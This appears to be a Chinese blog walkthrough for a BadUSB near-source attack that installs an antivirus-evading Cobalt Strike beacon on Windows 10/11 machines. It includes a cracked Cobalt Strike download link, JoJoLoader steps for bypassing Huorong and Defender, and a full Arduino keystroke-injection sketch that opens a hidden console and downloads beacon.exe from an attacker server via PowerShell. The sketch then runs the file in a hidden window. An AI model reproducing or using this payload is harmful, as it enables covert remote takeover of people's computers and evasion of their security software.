0%

badusb上线cs

记录制作免杀木马,使用budusb进行近源攻击,绕过火绒和Windows defender,实现cs上线。

环境

硬件:badusb from tb

系统:

  • 受害机:Windows11
  • 攻击机:kali2023

软件:

  • Arduino 1.8.4
  • JoJoLoader
  • CobaltStrike 4.8

制作木马

cobaltstrike

下载资源:https://www.ddosi.org/

服务端

仅支持Linux

server监听端口默认为50050,可通过vi teamserer进行修改

1
sudo ./teamserver [server_ip] [password]

客户端

理论上有Java就行,实际启动参数应该与破解者有关,不同版本的启动方式应不同

1
2
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -jar cobaltstrike-client.jar $*
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

创建监听

参考 https://github.com/Pizz33/JoJoLoader?tab=readme-ov-file,制作stageless payload,得到二进制木马beacon_x64.bin(文件名必须是这个)

JoJoLoader环境

安装MinGW

安装rust

beacon_x64.bin置于JoJoLoader项目根目录下,执行”一键生成.bat”,免杀木马存放于output中

踩坑记录

Q:执行一键生成.bat”闪退

A:编辑”一键生成.bat”,在末尾添加一行,可看到报错内容

1
pause

E:Linking with x86_64-w64-mingw32-gcc failed

S:gcc环境没整好,或者版本不对

远程文件下载

攻击机需开放文件下载,使受害机能够下载木马文件。(badusb可写入指令的空间太小,不可直接写入木马文件)

1
2
python -m SimpleHTTPServer [port] #python2
python -m http.server [port] #python3

Windows远程下载方法

1
2
3
wget
(new-object System.Net.WebClient).DownloadFile
certutil

tips:文件路径和木马文件名全大写

Ardunio烧录

版本太新不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<Keyboard.h>
void setup() {
// putpower shell your setup code here, to run once
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /T:01 /K \"echo off && mode con:COLS=15 LINES=1\"");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell\n");
Keyboard.println("$clnt = new-object system.net.webclient;\n");
Keyboard.println("$url= 'http://[file_server_ip]/beacon.exe';\n"); //远程服务器ps1远控地址
Keyboard.println("$file = 'c:\\users\\public\\downloads\\beacon.exe';\n"); //下载到目标存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file);\n"); //采用分段执行绕过防火墙进程防护
Keyboard.println("start-process -filepath \"c:\\users\\public\\downloads\\beacon.exe\" -windowstyle hidden;\n"); //后台执行
delay(2000);
Keyboard.println("exit;\n");
delay(700);
Keyboard.println("exit;");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:

}

代码编写tips:

  • 注意文件下载后的存放地址,普通用户是否有写入权限
  • 很多地方需要delay(),且不同受害机需要的时间可能不一样(原理未知)

插入badusb,从工具-端口中选择(一般会带有Arduino字样),再根据badusb型号选择开发板

image-20240816104912676

保存-编译-上传

E:开着虚拟机会导致上传失败

A:……

测试结果

测试多台win10&win11,有几类情况

  1. 文件无法下载,应该是打开cmd后的delay时间不够
  2. 文件执行无法上线,应该是被查杀了??
  3. 窗口无法退出,应该是执行文件后delay时间不够

todo

win11的命令行窗口和win10的不一样,无法执行窗口缩小

开着虚拟机时插入usb会有点问题

在受害机本身开着大写锁定的情况下会出问题

无法绕过360

delay时长难以把控

执行过程太容易被打断